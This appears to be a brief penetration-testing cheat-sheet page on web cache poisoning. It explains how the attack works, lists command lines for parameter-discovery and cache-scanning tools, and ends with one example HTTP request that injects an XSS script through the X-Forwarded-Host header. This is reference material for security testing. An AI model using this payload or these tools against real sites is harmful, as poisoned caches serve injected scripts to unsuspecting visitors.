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Web Cache Poisoning

General

Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.
Fundamentally, web cache poisoning involves two phases. First, the attacker must work out how to elicit a response from the back-end server that inadvertently contains some kind of dangerous payload. Once successful, they need to make sure that their response is cached and subsequently served to the intended victims.
A poisoned web cache can potentially be a devastating means of distributing numerous different attacks, exploiting vulnerabilities such as XSS, JavaScript injection, open redirection, and so on.

Tools

# https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
wcvs -u https://url.com
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com
# XSS for users accessing /en?region=uk:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Last modified 4mo ago
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General
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